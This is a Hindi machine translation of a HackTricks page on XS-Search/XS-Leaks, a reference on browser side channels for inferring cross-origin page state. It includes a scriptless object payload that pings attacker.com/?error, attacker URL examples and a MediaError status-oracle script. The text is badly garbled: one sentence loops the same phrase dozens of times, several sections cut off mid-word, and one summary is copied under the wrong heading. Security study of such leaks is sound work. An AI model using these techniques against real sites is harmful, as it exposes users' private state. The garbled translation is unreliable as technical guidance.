Hindi - Ht

XS-Search/XS-Leaks

**** का उपयोग करें और आसानी से विश्व के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित कार्यप्रवाह बनाएं और स्वचालित करें। आज ही पहुंचें:

LogoAutomate OffSec, EASM, and Custom Security Processes | Trickest
शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

XS-Search एक विधि है जिसका उपयोग साइड चैनल वंशांकन का लाभ उठाने के लिए किया जाता है।

इस हमले में शामिल मुख्य घटक हैं:

  • वंशांकनीय वेब: जिससे जानकारी निकालने का इरादा है।

  • हमलावर की वेब: अटैकर द्वारा बनाई गई दुर्भाग्यपूर्ण वेबसाइट, जिसे पीड़ित व्यक्ति देखता है, जिसमें उत्पीड़न होता है।

  • समावेशन विधि: वंशांकनीय वेब को हमलावर की वेब में शामिल करने के लिए अपनाई गई तकनीक (जैसे window.open, iframe, fetch, href के साथ HTML टैग आदि)।

  • लीक तकनीक: जो तकनीकें उपयोग की जाती हैं जो वंशांकनीय वेब की स्थिति में अंतर को जानने में मदद करती है।

  • स्थितियाँ: जिन दो संभावित हालातों को हमलावर अंतर्निहित करना चाहता है।

  • पहचानने योग्य अंतर: हमलावर द्वारा वंशांकनीय वेब की स्थिति का अनुमान लगाने के लिए उस पर निर्भर करने वाले विभिन्न परिवर्तन।

पहचानने योग्य अंतर

वंशांकनीय वेब की स्थितियों को भिन्न करने के लिए कई पहलू विश्लेषित किए जा सकते हैं:

  • स्थिति कोड: विभिन्न HTTP प्रतिक्रिया स्थिति कोड के बीच भेद करना, जैसे सर्वर त्रुटियाँ, ग्राहक त्रुटियाँ, या प्रमाणीकरण त्रुटियाँ।

  • API उपयोग: पृष्ठों के बीच Web APIs का उपयोग पहचानना, जो दिखाता है कि क्या एक वंशांकनीय पृष्ठ किसी विशेष JavaScript Web API का उपयोग करता है।

  • रीडायरेक्ट्स: विभिन्न पृष्ठों पर नेविगेशन का पता लगाना, केवल HTTP रीडायरेक्ट ही नहीं, बल्कि जो JavaScript या HTML द्वारा प्रेरित किए गए हों।

  • पृष्ठ सामग्री: HTTP प्रतिक्रिया शरीर या पृष्ठ उपसाधनों में परिवर्तनों को देखना, जैसे एम्बेडेड फ्रेम्स की संख्या या छवियों में आकार अंतर।

  • HTTP हेडर: एक विशिष्ट HTTP प्रतिक्रिया हेडर की मौजूदगी या संभावित मूल्य का ध्यान देना, जिसमें X-Frame-Options, Content-Disposition, और Cross-Origin-Resource-Policy जैसे हेडर शामिल हैं।

  • समय: दो स्थितियों के बीच स्थिर समय अंतरों का ध्यान देना।

समावेशन विधियाँ

  • HTML तत्व: HTML विभिन्न तत्व प्रदान करता है जो वंशांकनीय संसाधन समावेश के लिए हैं, जैसे स्टाइलशीट, छवियाँ, या स्क्रिप्ट, जो ब्राउज़र को एक गैर-HTML संसाधन का अनुरोध करने के लिए मजबूर करते हैं। इस उद्देश्य के लिए संभावित HTML तत्वों का संग्रह https://github.com/cure53/HTTPLeaks पर उपलब्ध है।

  • फ्रेम्स: तत्व जैसे iframe, object, और embed सीधे हमलावर के पृष्ठ में HTML संसाधनों को समाहित कर सकते हैं। यदि पृष्ठ में फ्रेमिंग सुरक्षा की कमी है, तो जावास्क्रिप्ट फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के द्वारा फ्रेमिंग संरचना के

समय आधारित तकनीकें

कुछ निम्नलिखित तकनीकों में समय का उपयोग वेब पृष्ठों की संभावित स्थितियों में अंतर का पता लगाने के प्रक्रिया का हिस्सा के रूप में किया जाएगा। वेब ब्राउज़र में समय को मापने के लिए विभिन्न तरीके हैं।

घड़ियाल: performance.now() API डेवलपर्स को उच्च-संकल्प समयांकन मापों प्राप्त करने की अनुमति देता है। हमलावारों द्वारा निरंतर घड़ियाल बनाने के लिए उपयोगकर्ताओं कर सकते हैं कई API: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS एनीमेशन और अन्य। अधिक जानकारी के लिए: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

घटना हैंडलर तकनीकें

Onload/Onerror

pageCookie Bomb + Onerror XS Leak

कोड उदाहरण को JS से स्क्रिप्ट ऑब्जेक्ट्स लोड करने की कोशिश की गई है, लेकिन अन्य टैग जैसे ऑब्जेक्ट्स, स्टाइलशीट्स, इमेजेस, ऑडियो भी उपयोग किए जा सकते हैं। इसके अतिरिक्त, यह भी संभव है कि टैग को सीधे इंजेक्ट किया जाए और टैग के अंदर onload और onerror घटनाएं घोषित की जाएं (JS से इंजेक्ट करने की बजाय)।

इस हमले का भी एक स्क्रिप्ट-रहित संस्करण है:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

इस मामले में अगर example.com/404 नहीं मिलता है तो attacker.com/?error लोड होगा।

Onload टाइमिंग

  • समावेशन विधियाँ: HTML तत्व

  • पता लगाने योग्य अंतर: समय (सामान्य रूप से पृष्ठ सामग्री, स्थिति कोड के कारण)

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events

  • सारांश: performance.now() API का उपयोग एक अनुरोध पूरा करने में कितना समय लगता है उसे मापने के लिए किया जा सकता है। हालांकि, अन्य घड़ियाल भी उपयोग किए जा सकते हैं, जैसे PerformanceLongTaskTiming API जो 50 मिलीसेकंड से अधिक चल रहे कार्यों को पहचान सकता है।

  • कोड उदाहरण: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events एक और उदाहरण:

pageperformance.now example

Onload टाइमिंग + मजबूर भारी कार्य

यह तकनीक पिछले वाले से बिल्कुल समान है, लेकिन हमलावर भी जबाब सकारात्मक या नकारात्मक होता है तो कुछ कार्रवाई को एक महत्वपूर्ण मात्रा समय लेने के लिए भी मजबूर करेगा और उस समय को मापेगा।

pageperformance.now + Force heavy task

unload/beforeunload टाइमिंग

किसी संसाधन को प्राप्त करने में लिया गया समय unload और beforeunload घटनाओं का उपयोग करके मापा जा सकता है। beforeunload घटना जब ब्राउज़र एक नए पृष्ठ पर नेविगेट करने वाला होता है, तब फायर होती है, जबकि unload घटना वास्तव में नेविगेशन हो रहा होता है। इन दो घटनाओं के बीच का समय निकालकर यह निर्धारित किया जा सकता है कि ब्राउज़र ने संसाधन प्राप्त करने में कितना समय बिताया।

Sandboxed Frame टाइमिंग + onload

यह देखा गया है कि फ्रेमिंग सुरक्षा की अनुपस्थिति में, एक पृष्ठ और उसके उपसाधन संसाधनों को नेटवर्क पर लोड करने के लिए आवश्यक समय को हमलावर द्वारा मापा जा सकता है। यह मापन सामान्यत: इसलिए संभव है क्योंकि एक आइफ्रेम का onload हैंडलर संसाधन लोडिंग और जावास्क्रिप्ट निष्पादन के पूर्ण होने के बाद ही ट्रिगर होता है। स्क्रिप्ट निष्पादन द्वारा प्रवेशित अस्थिरता को अनदेखा करने के लिए, एक हमलावर को शामिल कर सकता है sandbox विशेषता का उपयोग करते हुए <iframe> के भीतर। इस विशेषता का समावेश कई कार्यक्षमताओं को प्रतिबंधित करता है, विशेषकर जावास्क्रिप्ट के निष्पादन को, इसलिए नेटवर्क प्रदर्शन द्वारा प्रभावित मापन को सुविधाजनक बनाता है।

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + त्रुटि + onload

  • समावेशन विधियाँ: फ्रेम्स

  • पता लगाने में अंतर: पृष्ठ सामग्री

  • अधिक जानकारी:

  • सारांश: यदि आप पृष्ठ में त्रुटि बना सकते हैं जब सही सामग्री तक पहुंचा जाता है और किसी भी सामग्री तक पहुंचा जाता है और उसे सही ढंग से लोड कर सकते हैं, तो आप समय को मापने के बिना सभी जानकारी को निकालने के लिए एक लूप बना सकते हैं।

  • कोड उदाहरण:

मान लें कि आप एक आइफ्रेम में गुप्त सामग्री वाला पृष्ठ डाल सकते हैं।

आप पीड़ित को उस फ़ाइल की खोज करने के लिए "ध्वज" शब्द समाहित करने के लिए एक आइफ्रेम में उपयोग कर सकते हैं (उदाहरण के लिए CSRF का शोषण करते हुए)। आइफ्रेम के अंदर आप जानते हैं कि onload घटना को कम से कम एक बार हमेशा सक्रिय किया जाएगा। फिर, आप यूआरएल को बदल सकते हैं लेकिन केवल यूआरएल के अंदर हैश की सामग्री को बदलकर।

उदाहरण के लिए:

  1. यूआरएल1: www.attacker.com/xssearch#try1

  2. यूआरएल2: www.attacker.com/xssearch#try2

यदि पहली यूआरएल सफलतापूर्वक लोड हुई, तो, जब यूआरएल के हैश भाग को बदलते हैं, तो onload घटना फिर से सक्रिय नहीं होगा। लेकिन यदि पृष्ठ को लोड करते समय कोई त्रुटि थी, तो onload घटना फिर से सक्रिय होगा।

इसके बाद, आप सही ढंग से लोड हुए पृष्ठ या पृष्ठ के बीच एक त्रुटि वाले पृष्ठ के बीच भिन्नता कर सकते हैं जब तक उसे एक्सेस किया जाता है।

जावास्क्रिप्ट निष्पादन

  • समावेशन विधियाँ: फ्रेम्स

  • पता लगाने में अंतर: पृष्ठ सामग्री

  • अधिक जानकारी:

  • सारांश: यदि पृष्ठ संवेदनशील सामग्री वापस कर रहा है, या एक सामग्री जो उपयोगकर्ता द्वारा नियंत्रित की जा सकती है। उपयोगकर्ता वैध JS कोड सेट कर सकता है नकारात्मक मामले में, प्रत्येक प्रयास को <script> टैग के अंदर लोड करें, इसलिए नकारात्मक मामलों में हमलावर कोड निष्पादित होता है, और सकारात्मक मामलों में कुछ भी नहीं निष्पादित होगा।

  • कोड उदाहरण:

pageJavaScript Execution XS Leak

CORB - Onerror

  • समावेशन विधियाँ: HTML तत्व

  • पता लगाने में अंतर: स्थिति कोड और हेडर

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/browser-features/corb/

  • सारांश: क्रॉस-ऑरिजिन रीड ब्लॉकिंग (CORB) एक सुरक्षा उपाय है जो वेब पृष्ठों को कुछ संवेदनशील क्रॉस-ऑरिजिन संसाधनों को लोड करने से रोकता है ताकि स्पेक्टर जैसे हमलों से बचा जा सके। हालांकि, हमलावर इसका सुरक्षात्मक व्यवहार शोषण कर सकते हैं। जब CORB के अधीन एक प्रतिक्रिया CORB संरक्षित Content-Type के साथ nosniff और एक 2xx स्थिति कोड के साथ लौटाता है, CORB प्रतिक्रिया के बॉडी और हेडर को छीन लेता है। इसे अवलोकन करने वाले हमलावर स्थिति कोड (सफलता या त्रुटि की संकेत देना) और Content-Type (यह दर्शाता है कि क्या यह CORB द्वारा संरक्षित है) के संयोजन का अनुमान लगा सकते हैं, संभावित जानकारी लीकेज की ओर ले जा सकते हैं।

  • कोड उदाहरण:

अधिक जानकारी के लिए हमले के बारे में अधिक जानकारी के लिए लिंक की जाँच करें।

onblur

एक पृष्ठ को एक आइफ्रेम में लोड करना संभव है और पृष्ठ के तत्व पर ध्यान केंद्रित करने के लिए #id_value का उपयोग करना संभव है, फिर यदि onblur सिग्नल सक्रिय होता है, तो आईडी तत्व मौजूद है। आप पोर्टल टैग के साथ एक ही हमला कर सकते हैं।

postMessage Broadcasts

  • समावेशन विधियाँ: फ्रेम्स, पॉप-अप्स

  • पता लगाने में अंतर: API उपयोग

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/

  • सारांश: postMessage से संवेदनशील जानकारी एकत्र करें या postMessages की उपस्थिति का उपयोग उपयोगकर्ता की स्थिति को पता करने के लिए एक ऑरेकल के रूप में करें

  • कोड उदाहरण: किसी भी कोड जो सभी postMessages के लिए सुन रहा है।

अनुप्रयोग अक्सर विभिन्न मूल स्थानों के बीच संवाद करने के लिए postMessage ब्रॉडकास्ट का उपयोग करते हैं। हालांकि, यदि targetOrigin पैरामीटर को सही ढंग से निर्दिष्ट नहीं किया गया है, तो यह विधि अनजाने में संवेदनशील जानकारी को उजागर कर सकती है, जिससे किसी भी विंडो को संदेश प्राप्त करने की अनुमति मिलती है। इसके अतिरिक्त, संदेश प्राप्त करने की केवल क्रिया एक ऑरेकल के रूप में काम कर सकती है; उदाहरण के लिए, कुछ संदेश केवल उन उपयोगकर्ताओं को भेजे जा सकते हैं जो लॉग इन हैं। इसलिए, इन संदेशों की उपस्थिति या अनुपस्थिति उपयोगकर्ता की स्थिति या पहचान के बारे में जानकारी प्रकट कर सकती है, जैसे कि वे प्रमाणित हैं या नहीं।

Trickest का उपयोग करें और आसानी से विश्व के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित कार्यप्रवाह बनाएं और स्वचालित करें। आज ही पहुंचें:

वैश्विक सीमाएं तकनीकें

WebSocket API

  • **समावेशन

भुगतान API

  • समावेश विधियाँ: फ्रेम, पॉप-अप

  • पता लगाने वाला अंतर: API उपयोग

  • अधिक जानकारी: https://xsinator.com/paper.pdf (5.1)

  • सारांश: केवल एक समय में केवल एक भुगतान अनुरोध का पता लगाएं।

  • कोड उदाहरण: https://xsinator.com/testing.html#Payment%20API%20Leak

यह XS-Leak एक हमलावर को पहचानने की सक्षमता प्रदान करता है जब क्रॉस-संस्थानिक पृष्ठ एक भुगतान अनुरोध प्रारंभ करता है।

क्योंकि केवल एक अनुरोध भुगतान एक समय में सक्रिय हो सकता है, यदि लक्ष्य साइट भुगतान अनुरोध API का उपयोग कर रहा है, तो किसी भी आगे की कोशिशें इस एपीआई का उपयोग करने में विफल होंगी, और एक जावास्क्रिप्ट अपवाद का कारण बनेंगी। हमलावर इसे उत्पीड़ित कर सकता है इस द्वारा नियमित अंतराल से भुगतान एपीआई यूआई दिखाने की कोशिश करने के द्वारा। यदि किसी प्रयास से एक अपवाद का कारण होता है, तो लक्ष्य साइट वर्तमान में इसका उपयोग कर रही है। हमलावर इन नियमित प्रयासों को छुपा सकता है तुरंत उत्पादन के बाद यूआई बंद करके।

घड़ी का घटना लूप

  • समावेश विधियाँ:

  • पता लगाने वाला अंतर: समय (सामान्य रूप से पृष्ठ सामग्री, स्थिति को देखते हुए)

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop

  • सारांश: एक वेब के एकल-सूत्रित JS घटना लूप का क्रियान्वयन समय मापें।

  • कोड उदाहरण:

pageEvent Loop Blocking + Lazy images

जावास्क्रिप्ट एक एकल-सूत्रित घटना लूप समवाय मॉडल पर काम करता है, जिसका अर्थ है कि यह केवल एक कार्य को एक समय में क्रियान्वित कर सकता है। यह विशेषता अन्य स्रोत से कोड को क्रियान्वित होने में कितना समय लगता है, को मापने के लिए उपयोग किया जा सकता है। हमलावर निश्चित गुणवत्ता वाले घटनाओं का क्रियान्वयन समय माप सकता है घटना लूप के अपने कोड का क्रियान्वयन समय मापकर निरंतर घटनाएं डिस्पैच करके। ये घटनाएं जब घटना पूल खाली होता है तो प्रसंस्कृत होंगी। यदि अन्य स्रोत भी एक ही पूल में घटनाएं डिस्पैच कर रहे हैं, तो हमलावर अपने कार्यों के क्रियान्वयन में देरी के अवलोकन से उन बाह्य घटनाओं के क्रियान्वयन समय को अंकित कर सकता है। देरी के लिए घटना लूप की निगरानी करने का यह तरीका विभिन्न स्रोतों से कोड के क्रियान्वयन समय को प्रकट कर सकता है, संभावित रूप से संवेदनशील जानकारी को उजागर करता है।

क्रियान्वयन समय में नेटवर्क कारकों को निकालना और अधिक सटीक माप प्राप्त करना संभव है। उदाहरण के लिए, पृष्ठ को लोड करने से पहले पृष्ठ द्वारा उपयोग किए जाने वाले संसाधनों को लोड करके।

व्यस्त घटना लूप

  • समावेश विधियाँ:

  • पता लगाने वाला अंतर: समय (सामान्य रूप से पृष्ठ सामग्री, स्थिति को देखते हुए)

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop

  • सारांश: एक वेब के कार्य के क्रियान्वयन समय को मापने का एक तरीका एक धागे के घटना लूप को जानबूझकर ब्लॉक करना है और फिर समय का अंकगणित करना है घटना लूप को फिर से उपलब्ध होने में कितना समय लगता है। एक ब्लॉक कार्य (जैसे एक लंबी गणना या एक समकालिक API कॉल) को घटना लूप में डालकर और उसके बाद कोड के क्रियान्वयन के लिए कितना समय लगता है उसे निगरानी करके, किसी भी दौरान गणना कर सकते हैं कि ब्लॉकिंग अवधि के दौरान घटना लूप में कितने कार्य क्रियान्वित हो रहे थे। यह तकनीक जावास्क्रिप्ट के एकल-सूत्रित प्रकृति का लाभ उठाती है, जहां कार्यों को अनुक्रमिक रूप से क्रियान्वित किया जाता है, और एक ही धागा साझा करने वाले अन्य कार्यों के प्रदर्शन या व्यवहार के बारे में अंदरूनी जानकारी प्रदान कर सकती है।

  • कोड उदाहरण:

घटना लूप को बंद करके क्रियान्वयन समय को मापने की तकनीक का एक महत्वपूर्ण लाभ है कि यह साइट आइसोलेशन को टालने की संभावना है। साइट आइसोलेशन एक सुरक्षा सुविधा है जो विभिन्न वेबसाइटों को अलग-अलग प्रक्रियाओं में विभाजित करती है, जिसका उद्देश्य है कि दुर्भाग्यपूर्ण साइट सीधे अन्य साइटों से संवेदनशील डेटा तक पहुंचने से रोकें। हालांकि, एक अन्य स्रोत के क्रियान्वयन समय को साझा घटना लूप के माध्यम से प्रभावित करके, एक हमलावर उस स्रोत की गतिविधियों के बारे में जानकारी निकाल सकता है। यह तकनीक अन्य स्रोत के डेटा तक सीधा पहुंचने पर निर्भर नहीं करती है, बल्कि उस स्रोत की गतिविधियों के साझा घटना लूप पर प्रभाव का अवलोकन करती है, इस प्रकार साइट आइसोलेशन द्वारा स्थापित सुरक्षात्मक बाधाओं से बचती है।

क्रियान्वयन समय में नेटवर्क कारकों को निकालना और अधिक सटीक माप प्राप्त करना संभव है। उदाहरण के लिए, पृष्ठ को लोड करने से पहले पृष्ठ द्वारा उपयोग किए जाने वाले संसाधनों को लोड करके।

कनेक्शन पूल

  • समावेश विधियाँ: जावास्क्रिप्ट अनुरोध

  • पता लगाने वाला अंतर: समय (सामान्य रूप से पृष्ठ सामग्री, स्थिति को देखते हुए)

  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

  • सारांश: एक हमलावर सभी सॉकेट्स को बंद कर सकता है केवल 1 को छो

प्रदर्शन API तकनीक

प्रदर्शन API वेब एप्लिकेशन के प्रदर्शन मैट्रिक्स में अनुभव प्रदान करता है, जिसे संसाधन समयांकन API द्वारा और अधिक समृद्ध किया जाता है। संसाधन समयांकन API विस्तृत नेटवर्क अनुरोध समय की मॉनिटरिंग को संभावित बनाता है, जैसे कि अनुरोधों की अवधि। विशेष रूप से, जब सर्वर Timing-Allow-Origin: * हेडर को अपने प्रतिक्रियाओं में शामिल करते हैं, तो स्थानांतरण आकार और डोमेन लुकअप समय जैसे अतिरिक्त डेटा उपलब्ध हो जाता है।

यह डेटा समृद्धि को performance.getEntries या performance.getEntriesByName जैसी विधियों के माध्यम से प्राप्त किया जा सकता है, जो प्रदर्शन से संबंधित जानकारी का व्यापक दृश्य प्रदान करती है। इसके अतिरिक्त, API निष्पादन समय को मापने में सहायक होता है जिसे performance.now() से प्राप्त समयचिह्नों के बीच अंतर की गणना करके किया जा सकता है। हालांकि, यह ध्यान देने योग्य है कि कुछ ब्राउज़रों में Chrome जैसे कुछ ऑपरेशनों के लिए performance.now() की अच्छाई केवल मिलीसेकंड तक सीमित हो सकती है, जो समयचिह्नों की विस्तारण की नकल को प्रभावित कर सकता है।

रीडायरेक्ट प्रारंभ लीक

  • समावेशन विधियाँ: फ्रेम्स

  • पता लगाने योग्य अंतर: रीडायरेक्ट

  • अधिक जानकारी: https://xsinator.com/paper.pdf (5.2)

  • सारांश: संसाधन समयांकन प्रवाह एक रीडायरेक्ट के प्रारंभ समय को लीक करता है।

  • कोड उदाहरण: https://xsinator.com/testing.html#Redirect%20Start%20Leak

हमने एक XS-Leak उदाहरण पाया जो कुछ ब्राउज़रों के व्यवहार का दुरुपयोग करता है जो क्रॉस-उत्सर्जन अनुरोधों के लिए बहुत सारी जानकारी लॉग करते हैं। मानक एक सबसेट को परिभाषित करता है जिसे क्रॉस-उत्सर्जित संसाधनों के लिए शून्य पर सेट किया जाना चाहिए। हालांकि, SA में उपयोगकर्ता को रीडायरेक्ट किया गया है या नहीं यह पता लगाना संभव है, लक्षित पृष्ठ द्वारा परफॉर्मेंस API का पूछताछ करके और रीडायरेक्ट स्टार्ट टाइमिंग डेटा की जांच करके।

अवधि रीडायरेक्ट लीक

  • समावेशन विधियाँ: फेच API

  • पता लगाने योग्य अंतर: रीडायरेक्ट

  • अधिक जानकारी: https://xsinator.com/paper.pdf (5.2)

  • सारांश: जब एक रीडायरेक्ट होता है, तो समयांकन प्रविष्टियों की अवधि नकारात्मक होती है।

  • कोड उदाहरण: https://xsinator.com/testing.html#Duration%20Redirect%20Leak

GC में, जिन अनुरोधों की अवधि एक रीडायरेक्ट में परिणाम होती है, वे नकारात्मक होती हैं और इसलिए उन्हें पहचाना जा सकता है जो रीडायरेक्ट में नहीं होती हैं।

CORP लीक

  • समावेशन विधियाँ: फ्रेम्स

  • पता लगाने योग्य अंतर: हेडर

  • अधिक जानकारी: https://xsinator.com/paper.pdf (5.2)

  • सारांश: CORP द्वारा संरक्षित संसाधन समयांकन प्रविष्टियों को नहीं बनाते हैं।

  • कोड उदाहरण: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak

कुछ मामलों में, nextHopProtocol प्रविष्टि को एक लीक तकनीक के रूप में उपयोग किया जा सकता है। GC में, जब CORP हेडर सेट किया जाता है, तो nextHopProtocol खाली हो जाएगा। ध्यान दें कि SA CORP सक्षम संसाधनों के लिए कोई भी प्रदर्शन प्रविष्टि नहीं बनाएगा।

सेवा कर्मचारी

Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application. If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache. To detect if the resource was loaded from the service worker cache the Performance API can be used. This could also be done with a Timing attack (check the paper for more info).

Cache

Using the Performance API it's possible to check if a resource is cached.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

MediaError इंटरफेस की message property संसाधनों को एक विशिष्ट स्ट्रिंग के साथ सफलतापूर्वक लोड करने की पहचान करती है। एक हमलावादी इस सुविधा का शोषण करके संदेश सामग्री का अवलोकन करके, एक क्रॉस-उत्सर्जन संसाधन की प्रतिक्रिया स्थिति का अनुमान लगा सकता है।

CORS त्रुटि

  • समावेशन विधियाँ: Fetch API

  • पता लगाने योग्य अंतर: हेडर

  • अधिक जानकारी: https://xsinator.com/paper.pdf (5.3)

  • सारांश: सुरक्षा आदानों (SA) में, CORS त्रुटि संदेश अनजाने में पुनर्निर्देशित अनुरोधों के पूर्ण URL को उजागर करते हैं।

  • कोड उदाहरण: https://xsinator.com/testing.html#CORS%20Error%20Leak

यह तकनीक एक हमलावादी को क्रॉस-उत्सर्जन साइट के पुनर्निर्देशन के गंतव्य को उचित कैसे शोधते हैं, इसकी अनुमति देती है कि वेबकिट-आधारित ब्राउज़र कॉर्स अनुरोधों को कैसे संभालते हैं। विशेष रूप से, जब एक CORS सक्षम अनुरोध एक लक्ष्य साइट को भेजा जाता है जो उपयोगकर्ता स्थिति पर आधारित पुनर्निर्देशन जारी करता है और ब्राउज़र उस अनुरोध को नकारता है, तो त्रुटि संदेश के अंदर पुनर्निर्देशित गंतव्य का पूरा URL उजागर होता है। यह सुरक्षा दोष न केवल पुनर्निर्देश के वास्तविकता को प्रकट करता है बल्कि पुनर्निर्देश के अंत बिंदु और किसी भी संवेदनशील क्वेरी पैरामीटर को भी उजागर करता है।

SRI त्रुटि

  • समावेशन विधियाँ: Fetch API

  • पता लगाने योग्य अंतर: हेडर

  • अधिक जानकारी: https://xsinator.com/paper.pdf (5.3)

  • सारांश: सुरक्षा अभिवादनों (SA) में, CORS त्रुटि संदेश अनजाने में पुनर्निर्देशित अनुरोधों का पूरा URL उजागर करते हैं।

  • कोड उदाहरण: https://xsinator.com/testing.html#SRI%20Error%20Leak

एक हमलावार विस्तृत त्रुटि संदेश का शोधक पार कर सकता है ताकि पारक-स्थानिक प्रतिक्रियाओं का आकार निर्धारित किया जा सके। यह संभव है क्योंकि Subresource Integrity (SRI) की तंत्रिका उपयोग करती है, जो सत्यापित करती है कि संसाधन जिन्हें फेच किया गया है, अक्सर CDNs से, में खिसक गए नहीं हैं। SRI को पारक-स्थानिक संसाधनों पर काम करने के लिए, इन्हें CORS सक्षम होना चाहिए; अन्यथा, इन्हें अखंडता जांचों के लिए विषय नहीं किया जाता है। सुरक्षा अभिवादनों (SA) में, CORS त्रुटि XS-Leak की तरह, एक त्रुटि संदेश को एक फेच अनुरोध के बाद कैप्चर किया जा सकता है जब एक अखंडता विशेषता वाला अनुरोध असफल होता है। हमलावार जानबूझकर इस त्रुटि को ट्रिगर कर सकते हैं जिसे किसी भी अनुरोध की अखंडता विशेषता में एक बोगस हैश मान देने के द्वारा। SA में, परिणामी त्रुटि संदेश अनजाने में अनुरोधित संसाधन की सामग्री लंबाई को उजागर करता है। यह जानकारी लीकेज एक हमलावार को प्रतिक्रिया के आकार में भिन्नताएँ विचार करने की अनुमति देती है, जो विविध XS-Leak हमलों के लिए मार्ग प्रदर्शित करती है।

CSP उल्लंघन/पता लगाना

एक XS-Leak CSP का उपयोग कर सकता है ताकि पता लगा सके कि क्या एक पारक-स्थानिक साइट को एक विभिन्न मूल में पुनर्निर्देशित किया गया था। यह लीक पुनर्निर्देशित को पता लगा सकता है, लेकिन इसके अतिरिक्त, पुनर्निर्देशित लक्ष्य का डोमेन भी लीक होता है। इस हमले की मूल विचार यह है कि हमलावार साइट पर लक्षित डोमेन को अनुमति दें। एक बार जब लक्षित डोमेन को एक अनुरोध जारी किया जाता है, तो यह पुनर्निर्देशित होता है एक पारक-स्थानिक डोमेन पर। CSP उसका पहुंच ब्लॉक करता है और एक उल्लंघन रिपोर्ट जो एक लीक तकनीक के रूप में उपयोग किया जाता है बनाता है। ब्राउज़र के आधार पर, यह रिपोर्ट पुनर्निर्देश के लक्षित स्थान को लीक कर सकती है। आधुनिक ब्राउज़र यह नहीं दिखाएंगे कि उसे किस URL पर पुनर्निर्देशित किया गया था, लेकिन आप फिर भी पता लगा सकते हैं कि एक पारक-स्थानिक पुनर्निर्देशित को ट्रिगर किया गया था।

कैश

ब्राउज़र शायद सभी वेबसाइटों के लिए एक साझा कैश का उपयोग कर सकते हैं। उनके मूल्यांकन के बावजूद, यह संभावित है कि लक्षित पृष्ठ ने एक विशिष्ट फ़ाइल का अनुरोध किया हो।

